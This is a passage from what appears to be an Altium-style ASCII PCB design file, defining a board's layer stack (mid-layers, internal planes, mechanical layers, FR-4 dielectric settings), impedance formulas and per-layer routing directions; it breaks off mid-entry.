|RECORD=Board|LAYER21NAME=Mid-Layer 20|LAYER21PREV=0|LAYER21NEXT=0|LAYER21MECHENABLED=FALSE|LAYER21COPTHICK=1.4mil|LAYER21DIELTYPE=0|LAYER21DIELCONST=4.800|LAYER21DIELHEIGHT=12.6mil|LAYER21DIELMATERIAL=FR-4|LAYER22NAME=Mid-Layer 21|LAYER22PREV=0|LAYER22NEXT=0|LAYER22MECHENABLED=FALSE|LAYER22COPTHICK=1.4mil|LAYER22DIELTYPE=0|LAYER22DIELCONST=4.800|LAYER22DIELHEIGHT=12.6mil|LAYER22DIELMATERIAL=FR-4|LAYER23NAME=Mid-Layer 22|LAYER23PREV=0|LAYER23NEXT=0|LAYER23MECHENABLED=FALSE|LAYER23COPTHICK=1.4mil|LAYER23DIELTYPE=0|LAYER23DIELCONST=4.800|LAYER23DIELHEIGHT=12.6mil|LAYER23DIELMATERIAL=FR-4|LAYER24NAME=Mid-Layer 23|LAYER24PREV=0|LAYER24NEXT=0|LAYER24MECHENABLED=FALSE|LAYER24COPTHICK=1.4mil|LAYER24DIELTYPE=0|LAYER24DIELCONST=4.800|LAYER24DIELHEIGHT=12.6mil|LAYER24DIELMATERIAL=FR-4|LAYER25NAME=Mid-Layer 24|LAYER25PREV=0|LAYER25NEXT=0|LAYER25MECHENABLED=FALSE|LAYER25COPTHICK=1.4mil|LAYER25DIELTYPE=0|LAYER25DIELCONST=4.800|LAYER25DIELHEIGHT=12.6mil|LAYER25DIELMATERIAL=FR-4
|RECORD=Board|LAYER26NAME=Mid-Layer 25|LAYER26PREV=0|LAYER26NEXT=0|LAYER26MECHENABLED=FALSE|LAYER26COPTHICK=1.4mil|LAYER26DIELTYPE=0|LAYER26DIELCONST=4.800|LAYER26DIELHEIGHT=12.6mil|LAYER26DIELMATERIAL=FR-4|LAYER27NAME=Mid-Layer 26|LAYER27PREV=0|LAYER27NEXT=0|LAYER27MECHENABLED=FALSE|LAYER27COPTHICK=1.4mil|LAYER27DIELTYPE=0|LAYER27DIELCONST=4.800|LAYER27DIELHEIGHT=12.6mil|LAYER27DIELMATERIAL=FR-4|LAYER28NAME=Mid-Layer 27|LAYER28PREV=0|LAYER28NEXT=0|LAYER28MECHENABLED=FALSE|LAYER28COPTHICK=1.4mil|LAYER28DIELTYPE=0|LAYER28DIELCONST=4.800|LAYER28DIELHEIGHT=12.6mil|LAYER28DIELMATERIAL=FR-4|LAYER29NAME=Mid-Layer 28|LAYER29PREV=0|LAYER29NEXT=0|LAYER29MECHENABLED=FALSE|LAYER29COPTHICK=1.4mil|LAYER29DIELTYPE=0|LAYER29DIELCONST=4.800|LAYER29DIELHEIGHT=12.6mil|LAYER29DIELMATERIAL=FR-4|LAYER30NAME=Mid-Layer 29|LAYER30PREV=0|LAYER30NEXT=0|LAYER30MECHENABLED=FALSE|LAYER30COPTHICK=1.4mil|LAYER30DIELTYPE=0|LAYER30DIELCONST=4.800|LAYER30DIELHEIGHT=12.6mil|LAYER30DIELMATERIAL=FR-4
|RECORD=Board|LAYER31NAME=Mid-Layer 30|LAYER31PREV=0|LAYER31NEXT=0|LAYER31MECHENABLED=FALSE|LAYER31COPTHICK=1.4mil|LAYER31DIELTYPE=0|LAYER31DIELCONST=4.800|LAYER31DIELHEIGHT=12.6mil|LAYER31DIELMATERIAL=FR-4|LAYER32NAME=Bottom Layer|LAYER32PREV=1|LAYER32NEXT=0|LAYER32MECHENABLED=FALSE|LAYER32COPTHICK=1.4mil|LAYER32DIELTYPE=0|LAYER32DIELCONST=4.800|LAYER32DIELHEIGHT=12.6mil|LAYER32DIELMATERIAL=FR-4|LAYER33NAME=Top Overlay|LAYER33PREV=0|LAYER33NEXT=1|LAYER33MECHENABLED=FALSE|LAYER33COPTHICK=1.4mil|LAYER33DIELTYPE=0|LAYER33DIELCONST=4.800|LAYER33DIELHEIGHT=12.6mil|LAYER33DIELMATERIAL=FR-4|LAYER34NAME=Bottom Overlay|LAYER34PREV=32|LAYER34NEXT=0|LAYER34MECHENABLED=FALSE|LAYER34COPTHICK=1.4mil|LAYER34DIELTYPE=0|LAYER34DIELCONST=4.800|LAYER34DIELHEIGHT=12.6mil|LAYER34DIELMATERIAL=FR-4|LAYER35NAME=Top Paste|LAYER35PREV=0|LAYER35NEXT=1|LAYER35MECHENABLED=FALSE|LAYER35COPTHICK=1.4mil|LAYER35DIELTYPE=0|LAYER35DIELCONST=4.800|LAYER35DIELHEIGHT=12.6mil|LAYER35DIELMATERIAL=FR-4
|RECORD=Board|LAYER36NAME=Bottom Paste|LAYER36PREV=32|LAYER36NEXT=0|LAYER36MECHENABLED=FALSE|LAYER36COPTHICK=1.4mil|LAYER36DIELTYPE=0|LAYER36DIELCONST=4.800|LAYER36DIELHEIGHT=12.6mil|LAYER36DIELMATERIAL=FR-4|LAYER37NAME=Top Solder|LAYER37PREV=0|LAYER37NEXT=1|LAYER37MECHENABLED=FALSE|LAYER37COPTHICK=1.4mil|LAYER37DIELTYPE=0|LAYER37DIELCONST=4.800|LAYER37DIELHEIGHT=12.6mil|LAYER37DIELMATERIAL=FR-4|LAYER38NAME=Bottom Solder|LAYER38PREV=32|LAYER38NEXT=0|LAYER38MECHENABLED=FALSE|LAYER38COPTHICK=1.4mil|LAYER38DIELTYPE=0|LAYER38DIELCONST=4.800|LAYER38DIELHEIGHT=12.6mil|LAYER38DIELMATERIAL=FR-4|LAYER39NAME=Internal Plane 1|LAYER39PREV=0|LAYER39NEXT=0|LAYER39MECHENABLED=FALSE|LAYER39COPTHICK=1.4mil|LAYER39DIELTYPE=0|LAYER39DIELCONST=4.800|LAYER39DIELHEIGHT=12.6mil|LAYER39DIELMATERIAL=FR-4|LAYER40NAME=Internal Plane 2|LAYER40PREV=0|LAYER40NEXT=0|LAYER40MECHENABLED=FALSE|LAYER40COPTHICK=1.4mil|LAYER40DIELTYPE=0|LAYER40DIELCONST=4.800|LAYER40DIELHEIGHT=12.6mil|LAYER40DIELMATERIAL=FR-4
|RECORD=Board|LAYER41NAME=Internal Plane 3|LAYER41PREV=0|LAYER41NEXT=0|LAYER41MECHENABLED=FALSE|LAYER41COPTHICK=1.4mil|LAYER41DIELTYPE=0|LAYER41DIELCONST=4.800|LAYER41DIELHEIGHT=12.6mil|LAYER41DIELMATERIAL=FR-4|LAYER42NAME=Internal Plane 4|LAYER42PREV=0|LAYER42NEXT=0|LAYER42MECHENABLED=FALSE|LAYER42COPTHICK=1.4mil|LAYER42DIELTYPE=0|LAYER42DIELCONST=4.800|LAYER42DIELHEIGHT=12.6mil|LAYER42DIELMATERIAL=FR-4|LAYER43NAME=Internal Plane 5|LAYER43PREV=0|LAYER43NEXT=0|LAYER43MECHENABLED=FALSE|LAYER43COPTHICK=1.4mil|LAYER43DIELTYPE=0|LAYER43DIELCONST=4.800|LAYER43DIELHEIGHT=12.6mil|LAYER43DIELMATERIAL=FR-4|LAYER44NAME=Internal Plane 6|LAYER44PREV=0|LAYER44NEXT=0|LAYER44MECHENABLED=FALSE|LAYER44COPTHICK=1.4mil|LAYER44DIELTYPE=0|LAYER44DIELCONST=4.800|LAYER44DIELHEIGHT=12.6mil|LAYER44DIELMATERIAL=FR-4|LAYER45NAME=Internal Plane 7|LAYER45PREV=0|LAYER45NEXT=0|LAYER45MECHENABLED=FALSE|LAYER45COPTHICK=1.4mil|LAYER45DIELTYPE=0|LAYER45DIELCONST=4.800|LAYER45DIELHEIGHT=12.6mil|LAYER45DIELMATERIAL=FR-4
|RECORD=Board|LAYER46NAME=Internal Plane 8|LAYER46PREV=0|LAYER46NEXT=0|LAYER46MECHENABLED=FALSE|LAYER46COPTHICK=1.4mil|LAYER46DIELTYPE=0|LAYER46DIELCONST=4.800|LAYER46DIELHEIGHT=12.6mil|LAYER46DIELMATERIAL=FR-4|LAYER47NAME=Internal Plane 9|LAYER47PREV=0|LAYER47NEXT=0|LAYER47MECHENABLED=FALSE|LAYER47COPTHICK=1.4mil|LAYER47DIELTYPE=0|LAYER47DIELCONST=4.800|LAYER47DIELHEIGHT=12.6mil|LAYER47DIELMATERIAL=FR-4|LAYER48NAME=Internal Plane 10|LAYER48PREV=0|LAYER48NEXT=0|LAYER48MECHENABLED=FALSE|LAYER48COPTHICK=1.4mil|LAYER48DIELTYPE=0|LAYER48DIELCONST=4.800|LAYER48DIELHEIGHT=12.6mil|LAYER48DIELMATERIAL=FR-4|LAYER49NAME=Internal Plane 11|LAYER49PREV=0|LAYER49NEXT=0|LAYER49MECHENABLED=FALSE|LAYER49COPTHICK=1.4mil|LAYER49DIELTYPE=0|LAYER49DIELCONST=4.800|LAYER49DIELHEIGHT=12.6mil|LAYER49DIELMATERIAL=FR-4|LAYER50NAME=Internal Plane 12|LAYER50PREV=0|LAYER50NEXT=0|LAYER50MECHENABLED=FALSE|LAYER50COPTHICK=1.4mil|LAYER50DIELTYPE=0|LAYER50DIELCONST=4.800|LAYER50DIELHEIGHT=12.6mil|LAYER50DIELMATERIAL=FR-4
|RECORD=Board|LAYER51NAME=Internal Plane 13|LAYER51PREV=0|LAYER51NEXT=0|LAYER51MECHENABLED=FALSE|LAYER51COPTHICK=1.4mil|LAYER51DIELTYPE=0|LAYER51DIELCONST=4.800|LAYER51DIELHEIGHT=12.6mil|LAYER51DIELMATERIAL=FR-4|LAYER52NAME=Internal Plane 14|LAYER52PREV=0|LAYER52NEXT=0|LAYER52MECHENABLED=FALSE|LAYER52COPTHICK=1.4mil|LAYER52DIELTYPE=0|LAYER52DIELCONST=4.800|LAYER52DIELHEIGHT=12.6mil|LAYER52DIELMATERIAL=FR-4|LAYER53NAME=Internal Plane 15|LAYER53PREV=0|LAYER53NEXT=0|LAYER53MECHENABLED=FALSE|LAYER53COPTHICK=1.4mil|LAYER53DIELTYPE=0|LAYER53DIELCONST=4.800|LAYER53DIELHEIGHT=12.6mil|LAYER53DIELMATERIAL=FR-4|LAYER54NAME=Internal Plane 16|LAYER54PREV=0|LAYER54NEXT=0|LAYER54MECHENABLED=FALSE|LAYER54COPTHICK=1.4mil|LAYER54DIELTYPE=0|LAYER54DIELCONST=4.800|LAYER54DIELHEIGHT=12.6mil|LAYER54DIELMATERIAL=FR-4|LAYER55NAME=Drill Guide|LAYER55PREV=0|LAYER55NEXT=0|LAYER55MECHENABLED=FALSE|LAYER55COPTHICK=1.4mil|LAYER55DIELTYPE=0|LAYER55DIELCONST=4.800|LAYER55DIELHEIGHT=12.6mil|LAYER55DIELMATERIAL=FR-4
|RECORD=Board|LAYER56NAME=Keep-Out Layer|LAYER56PREV=0|LAYER56NEXT=0|LAYER56MECHENABLED=FALSE|LAYER56COPTHICK=1.4mil|LAYER56DIELTYPE=0|LAYER56DIELCONST=4.800|LAYER56DIELHEIGHT=12.6mil|LAYER56DIELMATERIAL=FR-4|LAYER57NAME=Mechanical 1|LAYER57PREV=0|LAYER57NEXT=0|LAYER57MECHENABLED=TRUE|LAYER57COPTHICK=1.4mil|LAYER57DIELTYPE=0|LAYER57DIELCONST=4.800|LAYER57DIELHEIGHT=12.6mil|LAYER57DIELMATERIAL=FR-4|LAYER58NAME=Mechanical 2|LAYER58PREV=0|LAYER58NEXT=0|LAYER58MECHENABLED=FALSE|LAYER58COPTHICK=1.4mil|LAYER58DIELTYPE=0|LAYER58DIELCONST=4.800|LAYER58DIELHEIGHT=12.6mil|LAYER58DIELMATERIAL=FR-4|LAYER59NAME=Mechanical 3|LAYER59PREV=0|LAYER59NEXT=0|LAYER59MECHENABLED=FALSE|LAYER59COPTHICK=1.4mil|LAYER59DIELTYPE=0|LAYER59DIELCONST=4.800|LAYER59DIELHEIGHT=12.6mil|LAYER59DIELMATERIAL=FR-4|LAYER60NAME=Mechanical 4|LAYER60PREV=0|LAYER60NEXT=0|LAYER60MECHENABLED=FALSE|LAYER60COPTHICK=1.4mil|LAYER60DIELTYPE=0|LAYER60DIELCONST=4.800|LAYER60DIELHEIGHT=12.6mil|LAYER60DIELMATERIAL=FR-4
|RECORD=Board|LAYER61NAME=Mechanical 5|LAYER61PREV=0|LAYER61NEXT=0|LAYER61MECHENABLED=FALSE|LAYER61COPTHICK=1.4mil|LAYER61DIELTYPE=0|LAYER61DIELCONST=4.800|LAYER61DIELHEIGHT=12.6mil|LAYER61DIELMATERIAL=FR-4|LAYER62NAME=Mechanical 6|LAYER62PREV=0|LAYER62NEXT=0|LAYER62MECHENABLED=FALSE|LAYER62COPTHICK=1.4mil|LAYER62DIELTYPE=0|LAYER62DIELCONST=4.800|LAYER62DIELHEIGHT=12.6mil|LAYER62DIELMATERIAL=FR-4|LAYER63NAME=Mechanical 7|LAYER63PREV=0|LAYER63NEXT=0|LAYER63MECHENABLED=FALSE|LAYER63COPTHICK=1.4mil|LAYER63DIELTYPE=0|LAYER63DIELCONST=4.800|LAYER63DIELHEIGHT=12.6mil|LAYER63DIELMATERIAL=FR-4|LAYER64NAME=Mechanical 8|LAYER64PREV=0|LAYER64NEXT=0|LAYER64MECHENABLED=FALSE|LAYER64COPTHICK=1.4mil|LAYER64DIELTYPE=0|LAYER64DIELCONST=4.800|LAYER64DIELHEIGHT=12.6mil|LAYER64DIELMATERIAL=FR-4|LAYER65NAME=Mechanical 9|LAYER65PREV=0|LAYER65NEXT=0|LAYER65MECHENABLED=FALSE|LAYER65COPTHICK=1.4mil|LAYER65DIELTYPE=0|LAYER65DIELCONST=4.800|LAYER65DIELHEIGHT=12.6mil|LAYER65DIELMATERIAL=FR-4
|RECORD=Board|LAYER66NAME=Mechanical 10|LAYER66PREV=0|LAYER66NEXT=0|LAYER66MECHENABLED=FALSE|LAYER66COPTHICK=1.4mil|LAYER66DIELTYPE=0|LAYER66DIELCONST=4.800|LAYER66DIELHEIGHT=12.6mil|LAYER66DIELMATERIAL=FR-4|LAYER67NAME=Mechanical 11|LAYER67PREV=0|LAYER67NEXT=0|LAYER67MECHENABLED=FALSE|LAYER67COPTHICK=1.4mil|LAYER67DIELTYPE=0|LAYER67DIELCONST=4.800|LAYER67DIELHEIGHT=12.6mil|LAYER67DIELMATERIAL=FR-4|LAYER68NAME=Mechanical 12|LAYER68PREV=0|LAYER68NEXT=0|LAYER68MECHENABLED=FALSE|LAYER68COPTHICK=1.4mil|LAYER68DIELTYPE=0|LAYER68DIELCONST=4.800|LAYER68DIELHEIGHT=12.6mil|LAYER68DIELMATERIAL=FR-4|LAYER69NAME=Mechanical 13|LAYER69PREV=0|LAYER69NEXT=0|LAYER69MECHENABLED=FALSE|LAYER69COPTHICK=1.4mil|LAYER69DIELTYPE=0|LAYER69DIELCONST=4.800|LAYER69DIELHEIGHT=12.6mil|LAYER69DIELMATERIAL=FR-4|LAYER70NAME=Mechanical 14|LAYER70PREV=0|LAYER70NEXT=0|LAYER70MECHENABLED=FALSE|LAYER70COPTHICK=1.4mil|LAYER70DIELTYPE=0|LAYER70DIELCONST=4.800|LAYER70DIELHEIGHT=12.6mil|LAYER70DIELMATERIAL=FR-4
|RECORD=Board|LAYER71NAME=Mechanical 15|LAYER71PREV=0|LAYER71NEXT=0|LAYER71MECHENABLED=TRUE|LAYER71COPTHICK=1.4mil|LAYER71DIELTYPE=0|LAYER71DIELCONST=4.800|LAYER71DIELHEIGHT=12.6mil|LAYER71DIELMATERIAL=FR-4|LAYER72NAME=Mechanical 16|LAYER72PREV=0|LAYER72NEXT=0|LAYER72MECHENABLED=FALSE|LAYER72COPTHICK=1.4mil|LAYER72DIELTYPE=0|LAYER72DIELCONST=4.800|LAYER72DIELHEIGHT=12.6mil|LAYER72DIELMATERIAL=FR-4|LAYER73NAME=Drill Drawing|LAYER73PREV=0|LAYER73NEXT=0|LAYER73MECHENABLED=FALSE|LAYER73COPTHICK=1.4mil|LAYER73DIELTYPE=0|LAYER73DIELCONST=4.800|LAYER73DIELHEIGHT=12.6mil|LAYER73DIELMATERIAL=FR-4|LAYER74NAME=Multi-Layer|LAYER74PREV=0|LAYER74NEXT=0|LAYER74MECHENABLED=FALSE|LAYER74COPTHICK=1.4mil|LAYER74DIELTYPE=0|LAYER74DIELCONST=4.800|LAYER74DIELHEIGHT=12.6mil|LAYER74DIELMATERIAL=FR-4|LAYER75NAME=Connections|LAYER75PREV=0|LAYER75NEXT=0|LAYER75MECHENABLED=FALSE|LAYER75COPTHICK=1.4mil|LAYER75DIELTYPE=0|LAYER75DIELCONST=4.800|LAYER75DIELHEIGHT=12.6mil|LAYER75DIELMATERIAL=FR-4
|RECORD=Board|LAYER76NAME=Background|LAYER76PREV=0|LAYER76NEXT=0|LAYER76MECHENABLED=FALSE|LAYER76COPTHICK=1.4mil|LAYER76DIELTYPE=0|LAYER76DIELCONST=4.800|LAYER76DIELHEIGHT=12.6mil|LAYER76DIELMATERIAL=FR-4|LAYER77NAME=DRC Error Markers|LAYER77PREV=0|LAYER77NEXT=0|LAYER77MECHENABLED=FALSE|LAYER77COPTHICK=1.4mil|LAYER77DIELTYPE=0|LAYER77DIELCONST=4.800|LAYER77DIELHEIGHT=12.6mil|LAYER77DIELMATERIAL=FR-4|LAYER78NAME=Selections|LAYER78PREV=0|LAYER78NEXT=0|LAYER78MECHENABLED=FALSE|LAYER78COPTHICK=1.4mil|LAYER78DIELTYPE=0|LAYER78DIELCONST=4.800|LAYER78DIELHEIGHT=12.6mil|LAYER78DIELMATERIAL=FR-4|LAYER79NAME=Visible Grid 1|LAYER79PREV=0|LAYER79NEXT=0|LAYER79MECHENABLED=FALSE|LAYER79COPTHICK=1.4mil|LAYER79DIELTYPE=0|LAYER79DIELCONST=4.800|LAYER79DIELHEIGHT=12.6mil|LAYER79DIELMATERIAL=FR-4|LAYER80NAME=Visible Grid 2|LAYER80PREV=0|LAYER80NEXT=0|LAYER80MECHENABLED=FALSE|LAYER80COPTHICK=1.4mil|LAYER80DIELTYPE=0|LAYER80DIELCONST=4.800|LAYER80DIELHEIGHT=12.6mil|LAYER80DIELMATERIAL=FR-4
|RECORD=Board|LAYER81NAME=Pad Holes|LAYER81PREV=0|LAYER81NEXT=0|LAYER81MECHENABLED=FALSE|LAYER81COPTHICK=1.4mil|LAYER81DIELTYPE=0|LAYER81DIELCONST=4.800|LAYER81DIELHEIGHT=12.6mil|LAYER81DIELMATERIAL=FR-4|LAYER82NAME=Via Holes|LAYER82PREV=0|LAYER82NEXT=0|LAYER82MECHENABLED=FALSE|LAYER82COPTHICK=1.4mil|LAYER82DIELTYPE=0|LAYER82DIELCONST=4.800|LAYER82DIELHEIGHT=12.6mil|LAYER82DIELMATERIAL=FR-4|LAYERV7_0LAYERID=16908305|LAYERV7_0NAME=Mechanical 17|LAYERV7_0PREV=16973824|LAYERV7_0NEXT=16973824|LAYERV7_0MECHENABLED=FALSE|LAYERV7_0COPTHICK=1.4mil|LAYERV7_0DIELTYPE=0|LAYERV7_0DIELCONST=4.800|LAYERV7_0DIELHEIGHT=12.6mil|LAYERV7_0DIELMATERIAL=FR-4|LAYERV7_1LAYERID=16908306|LAYERV7_1NAME=Mechanical 18|LAYERV7_1PREV=16973824|LAYERV7_1NEXT=16973824|LAYERV7_1MECHENABLED=FALSE|LAYERV7_1COPTHICK=1.4mil|LAYERV7_1DIELTYPE=0|LAYERV7_1DIELCONST=4.800|LAYERV7_1DIELHEIGHT=12.6mil|LAYERV7_1DIELMATERIAL=FR-4|LAYERV7_2LAYERID=16908307|LAYERV7_2NAME=Mechanical 19|LAYERV7_2PREV=16973824|LAYERV7_2NEXT=16973824|LAYERV7_2MECHENABLED=FALSE|LAYERV7_2COPTHICK=1.4mil|LAYERV7_2DIELTYPE=0|LAYERV7_2DIELCONST=4.800|LAYERV7_2DIELHEIGHT=12.6mil|LAYERV7_2DIELMATERIAL=FR-4|LAYERV7_3LAYERID=16908308|LAYERV7_3NAME=Mechanical 20|LAYERV7_3PREV=16973824|LAYERV7_3NEXT=16973824|LAYERV7_3MECHENABLED=FALSE|LAYERV7_3COPTHICK=1.4mil|LAYERV7_3DIELTYPE=0|LAYERV7_3DIELCONST=4.800|LAYERV7_3DIELHEIGHT=12.6mil|LAYERV7_3DIELMATERIAL=FR-4|LAYERV7_4LAYERID=16908309|LAYERV7_4NAME=Mechanical 21|LAYERV7_4PREV=16973824|LAYERV7_4NEXT=16973824|LAYERV7_4MECHENABLED=FALSE|LAYERV7_4COPTHICK=1.4mil|LAYERV7_4DIELTYPE=0|LAYERV7_4DIELCONST=4.800|LAYERV7_4DIELHEIGHT=12.6mil|LAYERV7_4DIELMATERIAL=FR-4|LAYERV7_5LAYERID=16908310|LAYERV7_5NAME=Mechanical 22|LAYERV7_5PREV=16973824|LAYERV7_5NEXT=16973824|LAYERV7_5MECHENABLED=FALSE|LAYERV7_5COPTHICK=1.4mil|LAYERV7_5DIELTYPE=0|LAYERV7_5DIELCONST=4.800|LAYERV7_5DIELHEIGHT=12.6mil|LAYERV7_5DIELMATERIAL=FR-4|LAYERV7_6LAYERID=16908311|LAYERV7_6NAME=Mechanical 23|LAYERV7_6PREV=16973824|LAYERV7_6NEXT=16973824|LAYERV7_6MECHENABLED=FALSE|LAYERV7_6COPTHICK=1.4mil|LAYERV7_6DIELTYPE=0|LAYERV7_6DIELCONST=4.800|LAYERV7_6DIELHEIGHT=12.6mil|LAYERV7_6DIELMATERIAL=FR-4|LAYERV7_7LAYERID=16908312|LAYERV7_7NAME=Mechanical 24|LAYERV7_7PREV=16973824|LAYERV7_7NEXT=16973824|LAYERV7_7MECHENABLED=FALSE|LAYERV7_7COPTHICK=1.4mil|LAYERV7_7DIELTYPE=0|LAYERV7_7DIELCONST=4.800|LAYERV7_7DIELHEIGHT=12.6mil|LAYERV7_7DIELMATERIAL=FR-4|LAYERV7_8LAYERID=16908313|LAYERV7_8NAME=Mechanical 25|LAYERV7_8PREV=16973824|LAYERV7_8NEXT=16973824|LAYERV7_8MECHENABLED=FALSE|LAYERV7_8COPTHICK=1.4mil|LAYERV7_8DIELTYPE=0|LAYERV7_8DIELCONST=4.800|LAYERV7_8DIELHEIGHT=12.6mil|LAYERV7_8DIELMATERIAL=FR-4|LAYERV7_9LAYERID=16908314|LAYERV7_9NAME=Mechanical 26|LAYERV7_9PREV=16973824|LAYERV7_9NEXT=16973824|LAYERV7_9MECHENABLED=FALSE|LAYERV7_9COPTHICK=1.4mil|LAYERV7_9DIELTYPE=0|LAYERV7_9DIELCONST=4.800|LAYERV7_9DIELHEIGHT=12.6mil|LAYERV7_9DIELMATERIAL=FR-4|LAYERV7_10LAYERID=16908315|LAYERV7_10NAME=Mechanical 27|LAYERV7_10PREV=16973824|LAYERV7_10NEXT=16973824|LAYERV7_10MECHENABLED=FALSE|LAYERV7_10COPTHICK=1.4mil|LAYERV7_10DIELTYPE=0|LAYERV7_10DIELCONST=4.800|LAYERV7_10DIELHEIGHT=12.6mil|LAYERV7_10DIELMATERIAL=FR-4|LAYERV7_11LAYERID=16908316|LAYERV7_11NAME=Mechanical 28|LAYERV7_11PREV=16973824|LAYERV7_11NEXT=16973824|LAYERV7_11MECHENABLED=FALSE|LAYERV7_11COPTHICK=1.4mil|LAYERV7_11DIELTYPE=0|LAYERV7_11DIELCONST=4.800|LAYERV7_11DIELHEIGHT=12.6mil|LAYERV7_11DIELMATERIAL=FR-4|LAYERV7_12LAYERID=16908317|LAYERV7_12NAME=Mechanical 29|LAYERV7_12PREV=16973824|LAYERV7_12NEXT=16973824|LAYERV7_12MECHENABLED=FALSE|LAYERV7_12COPTHICK=1.4mil|LAYERV7_12DIELTYPE=0|LAYERV7_12DIELCONST=4.800|LAYERV7_12DIELHEIGHT=12.6mil|LAYERV7_12DIELMATERIAL=FR-4|LAYERV7_13LAYERID=16908318|LAYERV7_13NAME=Mechanical 30|LAYERV7_13PREV=16973824|LAYERV7_13NEXT=16973824|LAYERV7_13MECHENABLED=FALSE|LAYERV7_13COPTHICK=1.4mil|LAYERV7_13DIELTYPE=0|LAYERV7_13DIELCONST=4.800|LAYERV7_13DIELHEIGHT=12.6mil|LAYERV7_13DIELMATERIAL=FR-4|LAYERV7_14LAYERID=16908319|LAYERV7_14NAME=Mechanical 31|LAYERV7_14PREV=16973824|LAYERV7_14NEXT=16973824|LAYERV7_14MECHENABLED=FALSE|LAYERV7_14COPTHICK=1.4mil|LAYERV7_14DIELTYPE=0|LAYERV7_14DIELCONST=4.800|LAYERV7_14DIELHEIGHT=12.6mil|LAYERV7_14DIELMATERIAL=FR-4|LAYERV7_15LAYERID=16908320|LAYERV7_15NAME=Mechanical 32|LAYERV7_15PREV=16973824|LAYERV7_15NEXT=16973824|LAYERV7_15MECHENABLED=FALSE|LAYERV7_15COPTHICK=1.4mil|LAYERV7_15DIELTYPE=0|LAYERV7_15DIELCONST=4.800|LAYERV7_15DIELHEIGHT=12.6mil|LAYERV7_15DIELMATERIAL=FR-4|LAYERPAIR0LOW=TOP|LAYERPAIR0HIGH=BOTTOM|LAYERPAIR0DRILLGUIDE=FALSE|LAYERPAIR0DRILLDRAWING=FALSE|LAYERPAIR0SUBSTACK_0={133D6234-F010-46C7-B390-43FBDD454A88}
|RECORD=Board|TOGGLELAYERS=1111111111111111111111111111111111111111111111111111111111111111111111111111111111|PLACEMARKERX1=-0.0001mil|PLACEMARKERY1=-0.0001mil|PLACEMARKERX2=-0.0001mil|PLACEMARKERY2=-0.0001mil|PLACEMARKERX3=-0.0001mil|PLACEMARKERY3=-0.0001mil|PLACEMARKERX4=-0.0001mil|PLACEMARKERY4=-0.0001mil|PLACEMARKERX5=-0.0001mil|PLACEMARKERY5=-0.0001mil|PLACEMARKERX6=-0.0001mil|PLACEMARKERY6=-0.0001mil|PLACEMARKERX7=-0.0001mil|PLACEMARKERY7=-0.0001mil|PLACEMARKERX8=-0.0001mil|PLACEMARKERY8=-0.0001mil|PLACEMARKERX9=-0.0001mil|PLACEMARKERY9=-0.0001mil|PLACEMARKERX10=-0.0001mil|PLACEMARKERY10=-0.0001mil|SELECTIONMEMORYLOCK1=FALSE|SELECTIONMEMORYLOCK2=FALSE|SELECTIONMEMORYLOCK3=FALSE|SELECTIONMEMORYLOCK4=FALSE|SELECTIONMEMORYLOCK5=FALSE|SELECTIONMEMORYLOCK6=FALSE|SELECTIONMEMORYLOCK7=FALSE|SELECTIONMEMORYLOCK8=FALSE|SURFACEMICROSTRIP_I=(60/SQRT(Er*(1-EXP(-1.55*(0.00002+TraceToPlaneDistance)/TraceToPlaneDistance))))*LN(5.98*TraceToPlaneDistance/(0.8*TraceWidth+TraceHeight))|SURFACEMICROSTRIP_W=((5.98*TraceToPlaneDistance)/EXP(CharacteristicImpedance/(60/SQRT(Er*(1-EXP(-1.55*(0.00002+TraceToPlaneDistance)/TraceToPlaneDistance)))))-TraceHeight)/0.8|SYMMETRICSTRIPLINE_I=(80/SQRT(Er))*LN((1.9*(2*TraceToPlaneDistance+TraceHeight)/(0.8*TraceWidth+TraceHeight)))*(1-(TraceToPlaneDistance/(4*(PlaneToPlaneDistance-TraceHeight-TraceToPlaneDistance))))|SYMMETRICSTRIPLINE_W=((1.9*(2*TraceToPlaneDistance+TraceHeight))/(EXP((CharacteristicImpedance/(80/SQRT(Er)))/(1-(TraceToPlaneDistance/(4*(PlaneToPlaneDistance-TraceHeight-TraceToPlaneDistance))))))-TraceHeight)/0.8|ELECTRICALGRIDSNAPTOBO=FALSE|ELECTRICALGRIDUSEALLLAYERS=FALSE|ROUTINGDIRECTIONTOP LAYER=Automatic|ROUTINGDIRECTIONMID LAYER 1=Automatic|ROUTINGDIRECTIONMID LAYER 2=Automatic|ROUTINGDIRECTIONMID LAYER 3=Automatic|ROUTINGDIRECTIONMID LAYER 4=Automatic|ROUTINGDIRECTIONMID LAYER 5=Automatic|ROUTINGDIRECTIONMID LAYER 6=Automatic|ROUTINGDIRECTIONMID LAYER 7=Automatic|ROUTINGDIRECTIONMID LAYER 8=Automatic|ROUTINGDIRECTIONMID LAYER 9=Automatic|ROUTINGDIRECTIONMID LAYER 10=Automatic|ROUTINGDIRECTIONMID LAYER 11=Automatic|ROUTINGDIRECTIONMID LAYER 12=Automatic|ROUTINGDIRECTIONMID LAYER 13=Automatic|ROUTINGDIRECTIONMID LAYER 14=Automatic|ROUTINGDIRECTIONMID LAYER 15=Automatic|ROUTINGDIRECTIONMID LAYER 16=Automatic|ROUTINGDIRECTIONMID LAYER 17=Automatic|ROUTINGDIRECTIONMID LAYER 18=Automatic|ROUTINGDIRECTIONMID LAYER 19=Automatic|ROUTINGDIRECTIONMID LAYER 20=Automatic|ROUTINGDIRECTIONMID LAYER 21=Automatic|ROUTINGDIRECTIONMID LAYER 22=Automatic|ROUTINGDIRECTIONMID LAYER 23=Automatic|ROUTINGDIRECTIONMID LAYER 24=Automatic|ROUTINGDIRECTIONMID LAYER 25=Automatic|ROUTINGDIRECTIONMID LAYER 26=Automatic|ROUTINGDIRECTIONMID LAYER 27=Automatic|ROUTINGDIRECTIONMID LAYER 28=Automatic|ROUTINGDIRECTIONMID LAYER 29=Automatic|ROUTINGDIRECTIONMID LAYER 30=Automatic|ROUTINGDIRECTIONBOTTOM 